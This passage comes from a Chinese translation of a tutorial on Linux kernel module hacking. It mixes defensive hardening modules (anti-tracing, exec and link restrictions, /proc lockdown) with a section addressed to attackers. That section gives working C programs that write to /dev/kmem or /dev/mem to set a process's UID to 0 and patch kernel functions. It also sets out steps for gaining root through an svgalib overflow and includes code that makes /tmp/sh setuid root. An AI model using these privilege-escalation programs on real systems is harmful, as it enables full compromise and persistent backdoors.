  • 找到一个更好的方法在sys_create_module(...)中进行检查.检查一个变量并不是十分的安全.如果某些人控制了你的系统.他是可以修改内存的(见下一章)
  • 找到一个方法使得一个入侵者没有办法通过你的校验来加载他的LKM
  • 加入隐藏的功能
  • ...
有很多工作可以做.但是即使有了这些工作,你的系统也不是完全就是安全的.如果某些人控制了你 的系统,他是可以发现一些方法来加载他的LKM的(见下一章);甚至他并不需要一个LKM,因为他只是控制了这个系统,并不想隐藏文件或者进程(和其他的 LKM提供的美妙的功能)。

2. 防止LKM传染者的方法

其实可以实现LKM病毒的扫描器,当然也有很多方法,但归纳起来有下面两类:
  • 内存驻留的扫描程序(实时的)(就像DOS下的TSR病毒扫描;或者WIN9x下的VxD病毒扫描)
  • 文件检查扫描器(检查模块文件里面的特征字串)
第一种方法可以通过拦截sys_create_module实现(或者init_module调用).第二种方法需要一些模 块文件的特征字串.因此我们必须检查两个elf文件头或者标志位.当然,其他的一些LKM传染者可能使用一些改进了的方法.(加密,自我更改代码等等). 我不会提供一个检查文件的扫描器.因为你只不过需要写一个小的用户模式的程序来读进模块文件,并且检查两种elf文件头(譬如说'ELF'字符串)

3 让人们无法接触到你的程序(原理)

现在我们该"打击"一下喜欢探测我们的可执行文件的黑客了……如以前所说过的,strace是一个很好的"偷窥"的工具,能够帮助黑客察看一个程序调用了哪些systemcall,而且它甚至还可以用作TTY hijacking,在THC的'Human to Unix Hacker' 中作了描述,我们可以通过strace其它人的shell,来获得他的任何输入,现在你知道它的危险性了吧;),strace用到了下面的 API:

#include <sys/ptrace.h>

int ptrace(int request, int pid, int addr, int data);

OK,那我们要如何控制strace呢,不要傻到将它从你的系统里删除吧;),想想上面展示的ptrace(...)函数,任何黑客都可能通过它来编写一个功能想当的程序,所以你需要的是更安全的办法。首先要做的是找一个调用,可以对追踪的企图作出反应……
还记得II.5.1 的内容吗,那里我提及了task flags,在跟踪一个进程时,用到两个flags,这就是我们的办法了,我们中断sys_execve(...)调用,并且检查当前进程里是否有这两个flags中的任何一个

3.1 一个可用的Anti-Tracer原型

这是我写的一个小小的LKM,叫作Anti-Tracer,它基本上实现了上面提及的想法,我们可以通过当前的指示器——任务结构 (task structure)来找到flags,其它就没什么新鲜的了……

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void* sys_call_table[];

int __NR_myexecve;

int (*orig_execve) (const char *, const char *[], const char *[]);

char *strncpy_fromfs(char *dest, const char *src, int n)
{
char *tmp = src;
int compt = 0;

do {
  dest[compt++] = __get_user(tmp++, 1);
}
while ((dest[compt - 1] != &#39;\0&#39;) && (compt != n));
  return dest;
}

int my_execve(const char *filename, const char *argv[], const char *envp[])
{
long __res;
__asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long)
            (filename)), "c"((long) (argv)), "d"((long) (envp)));
return (int) __res;
}


int hacked_execve(const char *filename, const char *argv[], const char *envp[])
{
int ret, tmp;
unsigned long mmm;
char *kfilename;

/*检查flags*/
if ((current->flags & PF_PTRACED)||(current->flags & PF_TRACESYS)) {
  /*我们被跟踪了,所以打印出跟踪的进程号及程序名,然后拒绝执行并且返回*/
  kfilename = (char *) kmalloc(256, GFP_KERNEL);
  (void) strncpy_fromfs(kfilename, filename, 255);
  printk("<1>TRACE ATTEMPT ON %s -> PERMISSION DENIED\n", kfilename);
  kfree(kfilename);
  return 0;
}
ret = my_execve(filename, argv, envp);
return ret;
}

int init_module(void)           /*加载*/
{
__NR_myexecve = 200;
while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
  __NR_myexecve--;
orig_execve = sys_call_table[SYS_execve];
if (__NR_myexecve != 0)
{
  sys_call_table[__NR_myexecve] = orig_execve;
  sys_call_table[SYS_execve] = (void *) hacked_execve;
}
return 0;
}

void cleanup_module(void)        /*卸载*/
{
sys_call_table[SYS_execve]=orig_execve;                          
}

我们再想象一下,如果我们要跟踪某个已经在执行的程序,会怎么做呢,如果该程序号是1853,那么我们会用 strace -p 1853 来追踪,这还可以运行,所以更安全的办法就是拦截sys_ptrace(...),看看下面的模块吧:

 

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void* sys_call_table[];


int (*orig_ptrace)(long request, long pid, long addr, long data);

int hacked_ptrace(long request, long pid, long addr, long data)
{
printk("TRACING IS NOT ALLOWED\n");
return 0;
}


int init_module(void)           /*加载*/
{
orig_ptrace=sys_call_table[SYS_ptrace];
sys_call_table[SYS_ptrace]=hacked_ptrace;
return 0;
}

void cleanup_module(void)        /*卸载*/
{
sys_call_table[SYS_ptrace]=orig_ptrace;                          
}

使用了这个LKM,那么就再没人可以trace喽;)

4. 用LKMs使你的linux核心更强壮

对Phrack的读者来说,这里的东西可能是相当熟悉的,Route介绍了一个很好的让linux系统更 安全的办法,他使用了一些补丁,这里我想再展示一些可以通过LKM实现的想法。你可以隐藏这些补丁模块,也可以不这么做,因为如果对方已经获得root的 话,那么Route的补丁也没用了,如果他只是普通用户,那并没有移除模块的权限——虽然可以看到。用LKM来打补丁比核心补丁还要好些——因为你可以非 常容易地控制整个系统的安全层级,并且在一个运行着的系统中,安装及卸载更容易。
在Phrack的补丁中还有log的功能,这我没有加入,但有无数方法可以记录下来,最简单的就是通过printk(...)

4.1 对程序的执行权限的限制

下面的LKM和Route的补丁有些相似,它检查程序的执行权限:

#define __KERNEL__
#define MODULE


#include <linux/version.h>
#include <linux/mm.h>
#include <linux/unistd.h>
#include <linux/fs.h>
#include <linux/types.h>
#include <asm/errno.h>
#include <asm/string.h>
#include <linux/fcntl.h>
#include <sys/syscall.h>
#include <linux/module.h>
#include <linux/malloc.h>
#include <linux/kernel.h>
#include <linux/kerneld.h>

/* where the sys_calls are */

int __NR_myexecve = 0;

extern void *sys_call_table[];

int (*orig_execve) (const char *, const char *[], const char *[]);

int (*open)(char *, int, int);
int (*close)(int);


char *strncpy_fromfs(char *dest, const char *src, int n)
{
char *tmp = src;
int compt = 0;

do {
  dest[compt++] = __get_user(tmp++, 1);
}
while ((dest[compt - 1] != &#39;\0&#39;) && (compt != n));
return dest;
}

int my_execve(const char *filename, const char *argv[], const char *envp[])
{
long __res;
__asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long)
(filename)), "c"((long) (argv)), "d"((long) (envp)));
return (int) __res;
}

int hacked_execve(const char *filename, const char *argv[], const char *envp[])
{
int fd = 0, ret;
struct file *file;

/*需要inode strucure*/
/*I use the open approach here, because you should understand it from the LKM
infector, read on for seeing a better approach*/
fd = open(filename, O_RDONLY, 0);
      
file = current->files->fd[fd];

/*这是root的文件么?*/
/*注意 : 在这里你还可以实现更多的检查,但这只是个示范,
  你可以通过察看linux/fs.h获得更多资料*/
if (file->f_inode->i_uid!=0)
{
  printk("<1>Execution denied !\n");
  close(fd);
  return -1;
}
else /*否则就允许执行程序*/
{
  ret = my_execve(filename, argv, envp);
  return ret;
}
}

int init_module(void)           /*加载*/
{
printk("<1>INIT \n");
__NR_myexecve = 250;
while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
  __NR_myexecve--;
orig_execve = sys_call_table[SYS_execve];
if (__NR_myexecve != 0)
{
  printk("<1>everything OK\n");
  sys_call_table[__NR_myexecve] = orig_execve;
  sys_call_table[SYS_execve] = (void *) hacked_execve;
}

open = sys_call_table[__NR_open];
close = sys_call_table[__NR_close];   
return 0;
}

void cleanup_module(void)        /*卸载*/
{
sys_call_table[SYS_execve]=orig_execve;                          
}

这和route的补丁有些不同,route检查的是路径,而我们检查的是文件,当然要通过路径检查也可以,但我认为检查文件是更好的办法……,我仅仅是实现了检查文件的UID,所以系统管理员可以过滤掉不想让它执行的进程。虽然 open /fd 的方法不是最好的,但因为它相当实用,所以在这里我使用了它——LKM infector也是用这种方法哦。下面这种方法也是可行的:

int namei(const char *pathname, struct inode **res_inode);

int lnamei(const char *pathname, struct inode **res_inode);

好好看看这两他系统调用吧,它们通过路径返回相应的inode structure,两个调用的不同点在于,后者lnamei不解链接文件解析到它所链接的地方,而仅仅是返回链接本身的inode。
我们可以先通过sys_execve(...)截获中断,然后使用namei(...)得到inode……下面的事不用再说了吧;/

4.2 Link补丁

linux的用户应该知道有时候链接文件会导致一些安全问题的发生,所以Andrew Tridgell提供了一个内核的补丁来防止某个非文件所有者的进程通过 +t来创建link,Solar Designer在其中增加了一些代码,能够防止某些用户通过对用+t来建立他们并不拥有的目录的硬链接。
必须承认要用LKM来实现这种symlink的补丁并不太容易,因为链接是由VFS来实现的,你可能会想,如果我们用sys_readlink(...)系统调用不是可以解决这个问题么,没错,它可以解决ls -a symlink的问题,不让人看,但是对cat symlink就没办法了。
或者你可以就用这个kernel补丁,当然你也可以写一个LKM仅仅通过中断sys_symlink(...)调用,防止用户在/tmp 目录建立任何链接。

看来这个链接问题要转移到LKM还是有一定困难的,我们先看Solar Designer的关于硬连接的想法吧,它可以简单地通过中断sys_link(...)来防止任何硬链接的建立,这很容易在LKM里实现,看看下面的代 码吧,这个代码的片断并不完全和kernel补丁相同,它仅仅在/tmp目录下防止链接建立,而没有考虑粘着位+t,虽然你也可以考虑通过inode structure来实现。

 

int hacked_link(const char *oldname, const char *newname)
{
char *kernel_newname;
int fd = 0, ret;
struct file *file;

kernel_newname = (char*) kmalloc(256, GFP_KERNEL);
memcpy_fromfs(kernel_newname, newname, 255);

/*是否是到/tmp/目录的硬连接?*/
if (strstr(kernel_newname, (char*)&hide ) != NULL)
{
  kfree(kernel_newname);

  /*这里我们又用了open的方法:)*/
  fd = open(oldname, O_RDONLY, 0);
     
  file = current->files->fd[fd];

  /*检查UID*/
  if (file->f_inode->i_uid!=current->uid)
  {
  printk("<1>Hard Link Creation denied !\n");
  close(fd);
  return -1;
  }
}
else
{
  kfree(kernel_newname);
  /*一切正常 -> 用户被允许建立硬连接*/
  return orig_link(oldname, newname);
}
}

用这个方法你可以控制连接的建立。

4.3 /proc许可权限补丁

前一章里我曾经说了一些隐藏进程信息的方法,所以这里,我们要对付这种攻击了,那就是限制对/proc的存取权限——通过改变目录的权限来实 现,他对proc的inode做了修补,下面的LKM很有用,如果你加载了它,那么用户将无法读取proc的文件系统,卸载后一载恢复原状:

/*very bad programming style (perhaps we should use a function for the
  indode retrieving), but it works...*/
#define __KERNEL__
#define MODULE
#define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds());
#define END_KMEM  set_fs(old_fs);}

#include <linux/version.h>
#include <linux/mm.h>
#include <linux/unistd.h>
#include <linux/fs.h>
#include <linux/types.h>
#include <asm/errno.h>
#include <asm/string.h>
#include <linux/fcntl.h>
#include <sys/syscall.h>
#include <linux/module.h>
#include <linux/malloc.h>
#include <linux/kernel.h>
#include <linux/kerneld.h>

extern void *sys_call_table[];

int (*open)(char *, int, int);
int (*close)(int);


int init_module(void)           /*加载*/
{
int fd = 0;
struct file *file;
struct inode *ino;

/*还是open(...)*/
open = sys_call_table[SYS_open];
close = sys_call_table[SYS_close];

/*we have to supplie some kernel space data for the systemcall*/
BEGIN_KMEM
fd = open("/proc", O_RDONLY, 0);
END_KMEM
printk("%d\n", fd);
file = current->files->fd[fd];

/*这里是proc目录的inode*/
ino= file->f_inode;

/*编辑许可权限*/
ino->i_mode=S_IFDIR | S_IRUSR | S_IXUSR;

close(fd);
return 0;
}

void cleanup_module(void)        /*卸载*/
{
int fd = 0;
struct file *file;
struct inode *ino;

BEGIN_KMEM
fd = open("/proc", O_RDONLY, 0);
END_KMEM
printk("%d\n", fd);
file = current->files->fd[fd];

/*这里是proc目录的inode*/
ino= file->f_inode;

/*编辑许可权限*/
ino->i_mode=S_IFDIR | S_IRUGO | S_IXUGO;

close(fd);
}

 加载它,然后运行ps或者top之类的程序,它不能正常运行了,所有想存取/proc的企图将被拒绝,当然,如果你是root 的话,你仍然可以看所有的东西。

4.4 安全级(securelevel)补丁

这个想法也不错:
"其实这并不是真正的补丁,而是简单的将linux的默认安全等级从0提升到1,它会禁止修改ex2fs系统中文件的immutable和append-only位,同时禁止装入 /移除module.所以我们可以先用chattr +i 将大部分的可执行文件,动态连接库, 一些重要的系统文件(inetd.conf,securetty,hosts.allow,hosts.deny,rc.d下的启动script...)加上immutable位,这样"黑客"就很难在你的机器上放置木马和留后门了. (即便他已经得到了root权限,当然通过直接硬盘读写仍然可以修改,但比较麻烦而且危险 )。"

修改安全等级比较直接的办法是直接修改内核源码.将linux/kernel/sched.c中的 securelevel设成1即可,但比较简单的办法还是直接用LKM来实现。 (注:warning3曾经写过一篇相关的文章以及代码,在安全焦点里我会一起贴出来,供大家参考。)

4.5 原始磁盘(rawdisk)补丁

我想了个简单的办法来对付一些删除log的工具。如THC的manipate-data;/
这些工具是黑客们用来在硬盘来查找他们的IP及域名的,在找到后,他们会将其修改或者去掉读取的入口,但要做到这样,他们必须能够读取/dev/*来打开rawdisk,那么我们就可以用最简单的办法来防护——当然还是有无数方法可以逃脱这种保护的:
  • 启动你的系统
  • 安装一个LKM,可以防止直接存取/dev/*的……

只要简单的拦截sts_open(...)并且过滤掉那些dev文件就是了,我想这里不用再给出代码了吧,看看II.4.2 就可以有思路了,这种方法可以简单地保护/dev/*文件,但是也有一个坏处,就是当LKM加载后,任何人都没办法直接存取/dev/*了……

IV. 一些不错的想法(给黑客的)

1. 欺骗系统管理员的LKMs

这一部分会给我们对付一些使用LKM保护内核的多疑(好的)的管理员的方法。在解释了所有系统管理员能够使用的方法之后,很难为我们(hackers)找到一个更好的办法。我们需要离开LKM一会儿,来寻找击败这些困难的保护的方法。
假定一个系统可以被管理员安装上一个十分好的大范围的监视的LKM,他可以检查那个系统的每一个细节。他可以做到第二或者第三部分提到的所有事情。
第 一种除掉这些LKM的方法可以是重新启动系统。也许管理员并没有在启动文件里面加载这些LKM。因此,试一些DoS攻击或者其他的。如果你还不能除去这个 LKM就看看其他的一些重要文件。但是要仔细,一些文件有可能是被保护或者监视的(见附录A,里面有一个类似的LKM)。

假如你真的找不到LKM 是在那里加载的等等,不要忘记系统是已经安装了一个后门的。这样你就不可以隐藏文件或者进程了。但是如果一个管理员真正使用了这么一个超级的LKM,忘记 这个系统吧。你可能遇到真正的好的对手并且将会有麻烦。对于那些确实想击败这个系统的,读第二小节。

2. 修补内核 - 或者创建我们自己的OS

[注意:这一节听上去可能有一些离题了。但是在最后我会给出一个很漂亮的想法(Silvio Cesare写的程序也可以帮助我们使用我们的LKM。这一节只会给出整个内核问题的一个大概的想法,因为我只需要跟随Sivio Cesare的想法]
OK,LKM是奇妙的。但是如果系统管理员喜欢在5.1 中提到的想法。他做了很多来阻止我们使用我们在第二部分学到的美妙的LKM技术。他甚至修补他自己的内核来使他的系统安全。他使用一个不需要LKM支持的内核。
因 此,现在到了我们使用我们最后一招的时候了:运行时内核补丁。最基本的想法来自我发现的一些源程序 (比如说Kmemthief),还有Silvio Cesare的一个描述如何改变内核符号的论文。在我看来,这种攻击是一种很强大的'内核入侵'。我并不是懂得每一个Un*x,但是这种方法可以在很多系 统上使用。这一节描述的是运行时内核补丁。但是为什么不谈谈内核文件补丁呢?每一个系统有一个文件来代表内核,在免费的系统中,像 FreeBSD,Linux……,改变一个内核文件是很容易的。但是在商业系统中呢?我从来没有试过。但是我想这会是很有趣的:想象通过一个内核的补丁作 为系统的后门.你只好重新启动系统或者等待一次启动。 (每个系统都需要启动)。但是这个教材只会处理运行时的补丁方式。你也许说这个教材叫入侵Linux可卸载内核模块,并且你不想知道如何补丁整个内核。好 的,这一节将会教会我们如何'insmod'LKM到一个十分安全的,或者没有LKM支持的系统。因此我们还是学到了一些和LKM有关的东西了。
因此,让我们开始我们最为重要的必须处理的东西,如果我们想学习RKP(Runtime Kernel Patching)的话。这就是/dev/kmem文件。他可以帮助我们看到(并且更改)整个我们的系统的虚拟内存。 [注意:这个RKP方法在通常情况下是十分有用的,如果你控制了那个系统以后。只有非常不安全的系统才会让普通用户存取那个文件]。

正如我所说的,/dev/kmem可以使我们有机会看到我们系统中的每一个内存字节(包括swap)。这意味着我们可以存取整个内存,这就允许我 们操纵内存中的每一个内核元素。(因为内核只是加载到系统内存的目标代码)。记住/proc/ksyms文件记录了每一个输出的内核符号的地址。因此我们 知道如何才能通过更改内存来控制一些内核符号。下面让我们来看看一个很早就知道的很基本的例子。下面的(用户模式)的程序获得了 task_structure的地址和某一个PID.在搜索了代表某个PID的任务结构以后,他改变了每个用户的ID域使得 UID=0 。当然,今天这样的程序是毫无用处的。因为绝大多数的系统不会允许一个普通的用户去读取/dev/kmem。但是这是一个关于RKP的好的介绍。

/*注意:我没有实现错误检查*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

/*我们想要改变的任务结构的最大数目*/
#define NR_TASKS  512

/*我们的任务结构——我只使用了我们需要的那部分*/
struct task_struct {
char a[108];          /*我们不需要的*/
int pid;
char b[168];          /*stuff we don&#39;t need*/
unsigned short uid,euid,suid,fsuid;
unsigned short gid,egid,sgid,fsgid;
char c[700];          /*stuff we don&#39;t need*/
};


/*下面是原始的任务结构,你可以看看还有其他的什么是你可以改变的
struct task_struct {
volatile long state;  
long counter;
long priority;
unsigned long signal;
unsigned long blocked;
unsigned long flags;
int errno;
long debugreg[8];
struct exec_domain *exec_domain;
struct linux_binfmt *binfmt;
struct task_struct *next_task, *prev_task;
struct task_struct *next_run,  *prev_run;
unsigned long saved_kernel_stack;
unsigned long kernel_stack_page;
int exit_code, exit_signal;
unsigned long personality;
int dumpable:1;
int did_exec:1;
int pid;
int pgrp;
int tty_old_pgrp;
int session;
int leader;
int  groups[NGROUPS];
struct task_struct *p_opptr, *p_pptr, *p_cptr, *p_ysptr, *p_osptr;
struct wait_queue *wait_chldexit;
unsigned short uid,euid,suid,fsuid;
unsigned short gid,egid,sgid,fsgid;
unsigned long timeout, policy, rt_priority;
unsigned long it_real_value, it_prof_value, it_virt_value;
unsigned long it_real_incr, it_prof_incr, it_virt_incr;
struct timer_list real_timer;
long utime, stime, cutime, cstime, start_time;
unsigned long min_flt, maj_flt, nswap, cmin_flt, cmaj_flt, cnswap;
int swappable:1;
unsigned long swap_address;
unsigned long old_maj_flt;  
unsigned long dec_flt;   
unsigned long swap_cnt;  
struct rlimit rlim[RLIM_NLIMITS];
unsigned short used_math;
char comm[16];
int link_count;
struct tty_struct *tty;
struct sem_undo *semundo;
struct sem_queue *semsleeping;
struct desc_struct *ldt;
struct thread_struct tss;
struct fs_struct *fs;
struct files_struct *files;
struct mm_struct *mm;
struct signal_struct *sig;
#ifdef __SMP__
  int processor;
  int last_processor;
  int lock_depth;  
#endif  
};
*/

int main(int argc, char *argv[])
{
unsigned long task[NR_TASKS];
/*用于特定PID的任务结构*/
struct task_struct current;
int kmemh;
int i;
pid_t pid;
int retval;

pid = atoi(argv[2]);

kmemh = open("/dev/kmem", O_RDWR);
  
/*找到第一个任务结构的内存地址*/
lseek(kmemh,  strtoul(argv[1], NULL, 16), SEEK_SET);
read(kmemh, task, sizeof(task));
  
/*遍历知道我们找到我们的任务结构(由PID确定)*/
for (i = 0; i < NR_TASKS; i++)
{
  lseek(kmemh, task, SEEK_SET);
  read(kmemh, &current, sizeof(current));
  /*是我们的进程么*/
  if (current.pid == pid)
  {
  /*是的,因此改变UID域...*/
  current.uid = current.euid = 0;
  current.gid = current.egid = 0;
  /*写回到内存*/
  lseek(kmemh, task, SEEK_SET);
  write(kmemh, &current, sizeof(current));
  printf("Process was found and task structure was modified\n");
  exit(0);
  }
}
}

关于这个小程序没有什么太特殊的地方。他不过是在一个域中找到某些匹配的,然后再改变某些域罢了。除此之外还有很多程序来做类似的工作。你可以看到,上面 的这个例子并不能帮助你攻击系统。他只是用于演示的。(但是也许有一些弱智的系统允许用户写/dev/kmem,我不知道)。用同样的方法你也可以改变控 制系统内核信息的模块结构。通过对kmem操作,你也可以隐藏一个模块;我在这里就不给出源代码了,因为基本上和上面的那个程序一样(当然,搜索是有点难 了)。通过上面的方法我们可以改变一个内核的结构。有一些程序是做这个的。但是,对于函数我们怎么办呢?我们可以在网上搜索,并且会发现并没有太多的程序 来完成这个。当然,对一个内核函数进行补丁会更有技巧一些(在后面我们会做一些更有用的事情)。对于sys_call_table结构的最好的入侵方法就 是让他指向一个完全我们自己的新的函数。下面的例子仅仅是一个十分简单的程序,他让所有的系统调用什么也不干。我仅仅插入一个RET(0xc3)在每一个 我从/proc/ksyms获得的函数地址前面。这样这个函数就会马上返回,什么也不做。

/*同样的,没有错误检查*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

/*我们的返回代码*/
unsigned char asmcode[]={0xc3};

int main(int argc, char *argv[])
{
unsigned long counter;
int kmemh;

/*打开设备*/
kmemh = open("/dev/kmem", O_RDWR);
  
/*找到内存地址中函数开始的地方*/
lseek(kmemh,  strtoul(argv[1], NULL, 16), SEEK_SET);

/*写入我们的补丁字节*/
write(kmemh, &asmcode, 1):

close(kmemh);
}

让我们总结一下我们目前所知道的:我们可以改变任何内核符号;这包括一些像sys_call_table[]这样的东西,还有其他任何的函数或者结构。记 住每个内核补丁只有在我们可以存取到/dev/kmem的时候才可以使用。但是我们也知道了如何保护这个文件。可以看3.5.5。

2.1 如何在/dev/kmem中找到内核符号表

在上面的一些基本的例子过后,你也许会问如何更改任何一个内核符号以及如何才能找到有趣的东西。在上面的例子中,我们使用/proc /ksyms来找到我们需要改变的符号的地址。但是当我们在一个内核里面没有LKM支持的系统时该怎么办呢?这将不会有/proc/ksyms这个文件 了,因为这个文件只用于管理模块。(公共的,或者存在的符号)。那么对于那些没有输出的内核符号我们该怎么办呢?我们怎样才能更改他们?
有很多问 题。现在让我们来找一些解决的方案。Silvio Cesare讨论过一些发现不同的内核符号的方法(公共的或者不公开的)。他指出当编译Linux内核的时候,一个名字叫System。map的文件被创 建,他映射每一个内核的符号到一个固定的地址。这个文件只是在编译的时候解析这些内核的符号的时候才需要。运行着的系统没有必要使用这个文件。这些编译时 候使用的地址和/dev/kmem里面使用的使一样的。因此,通常的步骤是:
  • 查找system.map来获得需要的内核符号
  • 找到我们的地址
  • 改变内核符号(结构,函数,或者其他的)
听上去相当的容易。但是这里会有一个大问题。每一个系统并不使用和我们一样的内核,因此他们的内核符号的地址也不会和我们的一样。
而且在大多数系统中你并不会找到一个有用的system。map文件来告诉你每一个地址。那我们应该怎么办呢?Silvio Cesare建议我们使用一种关键码搜寻的方法。只要使用你的内核,读一个符号的开始的十个字节的(是随机的)值,并且把这十个值作为关键码来在另一个内核中搜寻地址。

如果你不能为某个符号找到一个一般的关键码,你可以尝试找到这个符号和系统其他你可以找到关键码的符号的关系。要找到这种关系你可以看内核的源代码。通过这种方法,你可以找到一些你可以改变的有趣的内核符号。(补丁)。

2.2 新的无须内核支持的insmod

现在到了我们回到我们的LKM入侵上的时候了。这一节将会向你介绍Silvio Cesare的kinsmod程序。我只会列出大体上的工作方法。这个程序的最为复杂的部分在于处理(elf文件)的目标代码和内核空间的映射。但是这只是一个处理elf头的问题,不是内核问题。Silvio Cesare使用elf文件是因为通过这种方法你可以安装[正常]的LKMs。当然也可以写一个文件(仅仅是操作码-〉看我的RET例子)并且插入这个文件,这会有点难,但是映射会很容易。对于那些想真正理解elf文件处理的,我把Silvio Cesare的教材加进来了。(我已经做了,因为Silvio Cesare希望他的源代码或者想法只能在那份教材里面作为一个整体传播)。
现在让我们来看看在一个没有LKM支持的系统中插入LKM的方法。

如果我们想插入代码(一个LKM或者其他的任何东西),我们将要面对的第一个问题是如何获得内存。我们不能取一个随机的地址然后就往/dev /kmem里面写我们的目标代码。因此我们必须找到一个放我们的代码的地方,他不能伤害到我们的系统,而且不能因为一些内核操作就被内核释放。有一个地方 我们可以插入一些代码,看一眼下面的显示所有内核内存的图表:

kernel data

...

kmalloc pool

pool是用来给内核空间的内存分配用的(kmalloc(...))。我们不能把我们的代码放在这里,因为我们不能确定我们所写的这个地址空间是没有用的。现在看看Silvio Cesare的想法:kmalloc pool在内存中的边界是存在内核输出的memory_start和memory_end里面的。(见/proc/ksyms)。有意思的一点在于开始的地(memory_start)并不是确切的kmalloc pool的开始地址。因为这个地址要和下一页的memory_start对齐。因此,会有一些内存是永远都不会被用到的。(在memory_start和真正的kmalloc pool的开始处)。这是我们插入我们的代码的最好的地方。OK,这并不是所有的一切。你也许会意识到在这个小小的内存空间里面放不下任何有用的LKM。Silvio Cesare把一些启动代码放在这里。这些代码加载实际的LKM。通过这个方法,我们可以在缺乏LKM支持的系统上加载LKM。请阅读Silvio Cesare的论文来获得进一步的讨论以及如何实际上将一个LKM文件(elf 格式的)映射到内核。这会有一点难度。

3. 最后

第二节的主意很好。但是对于那些不允许存取kmem的系统呢?最后的一个方法就是利用一些内核系统漏洞来插入/改变内核空间。在内核空间总 是要有一些缓冲区溢出或者其他的毛病。还要考虑到一些模块的漏洞。只要看一眼内核的许多源文件。甚至用户模式的程序也可以帮助我们改变内核。
我还记得,在几个星期以前,一个和svgalib有关的漏洞被发现。每一个程序通过使用svgalib来获得一个向/dev/mem的写权限。 /dev/mem也可以被RKP用来获得和/dev/kmeme一样的地址。因此看一看下面的列表,来获得一些如何在一个非常安全的系统中做RKP的方 法:
  • 找到一个使用svgalib的程序。
  • 检查那个程序,获得一个一般的缓冲区溢出(这应该并不会太难)
  • 写一个简单的程序来启动一个程序,打开/dev/mem,获得写句柄,并且可以操纵任务结构使得你的进程的UID=0
  • 创建一个root的shell

这个机制通常运行的很好(zgv,gnuplot或者其他的一些著名的例子)。为了获得这个任务结构一些人使用下面的Nergal的程序(这是使用了打开写句柄的):

/* by Nergal */
#define SEEK_SET 0

#define __KERNEL__
#include <linux/sched.h>
#undef __KERNEL__

#define SIZEOF sizeof(struct task_struct)

int mem_fd;
int mypid;

void
testtask (unsigned int mem_offset)
{
  struct task_struct some_task;
  int uid, pid;
  lseek (mem_fd, mem_offset, SEEK_SET);
  read (mem_fd, &some_task, SIZEOF);
  if (some_task.pid == mypid)  /* 是我们的任务结构么? */
   {
    some_task.euid = 0;
    some_task.fsuid = 0;    /* chown需要这个 */
    lseek (mem_fd, mem_offset, SEEK_SET);
    write (mem_fd, &some_task, SIZEOF);
    /* 现在起,我们可以为所欲为了…… */
    chown ("/tmp/sh", 0, 0);
    chmod ("/tmp/sh", 04755);
    exit (0);
   }
}
#define KSTAT 0x001a8fb8  /*  <-- 改变这个地址为你的kstat */
main ()             /*    通过执行/proc/ksyms|grep kstat  */
{
  unsigned int i;
  struct task_struct *task[NR_TASKS];
  unsigned int task_addr = KSTAT - NR_TASKS * 4;
  mem_fd = 3;             /* 假定要打开的是/dev/mem */
  mypid = getpid ();
  lseek (mem_fd, task_addr, SEEK_SET);
  read (mem_fd, task, NR_TASKS * 4);
  for (i = 0; i < NR_TASKS; i++)
   if (task)
    testtask ((unsigned int)(task));

}

这只不过是一个例子,是为了告诉你不管怎么样,你总是能够找到一些方法的。对于有堆栈执行权限的系统,你可以找堆栈溢出,或者跳到某些库函数(system(...)).会有很多方法……
我希望这最后的一节可以给你一些如何继续的提示。

V. 将来 : Kernel 2.2

1. 对LKM作者来说主要的区别

Linux有了一个新的主版本:2.2 在LKM编程上,他带给我们一些小的改变。这一部分将会帮助你适应这些变化,并且列出了大的一些变化。[注意:关于新的版本的内核,会有另一个发布版本]
我会向你介绍一些新的宏和函数来帮助你开发2.2 版本的内核的LKM。要获得每一个确切的变化可以看新的头文件 linux/module.h。这个文件在2.1.18 版本的内核中被完全的重写了。首先让我们来看看一些可以帮助我们更方便的处理系统调用表的宏:

描述
EXPORT_NO_SYMBOLS; 这一个相当于旧版本内核的register_symtab(NULL)
EXPORT_SYMTAB; 如果你想输出一些符号的话,必须在linux/module.h前面定义这个宏
EXPORT_SYMBOL(name); 输出名字叫'name'的宏
EXPORT_SYMBOL_NOVERS (name); 没有版本信息的输出符号

用户模式的存取函数也有很大的变化。因此我会在这里列出来(只要包含asm/uaccess.h来使用他们):

函数 描述
int access_ok (int type, unsigned long addr, unsigned long size); 这个函数检查是否当前进程允许存取某个地址
unsigned long copy_from_user (unsigned long to, unsigned long from, unsigned long len); 这个是新的memcpy_tofs函数
unsigned long copy_to_user (unsigned long to, unsigned long from, unsigned long len); 这是相对应的copy_from_user(...)
你没有必要使用access_ok(...),因为上面列出的函数都自己检查这个。还有许多不一样的地方,但是你可以看看linux/module.h来获得一个详细的列表。
我最后想提一件事情。我写了很多关于内核守护进程(kerneld)的东西。2.2 版的内核不会再使用kerneld了。他使用另外一种方法来实现内核空间的request_module(...)函数-叫做kmod。kmod完全是运行在内核空间的 (不再IPC到用户模式了)。对于LKM程序员来说,没有什么大的变化。你还是可以使用request_module(...) 来加载模块。因此LKM传染者还是可以在2.2 的内核中使用。

我很抱歉关于2.2 内核只有这么少的东西。但是目前我正在写一个关于2.2 内核安全的论文(特别是LKM的)。因此请注意新的THC发布的论文。我甚至计划工作在一些BSD系统上(譬如FreeBSD,OpenBSD)但是这会花几个月的时间。

VI. 写在最后

1. LKM的"故事"以及如何使一个系统既好用又安全

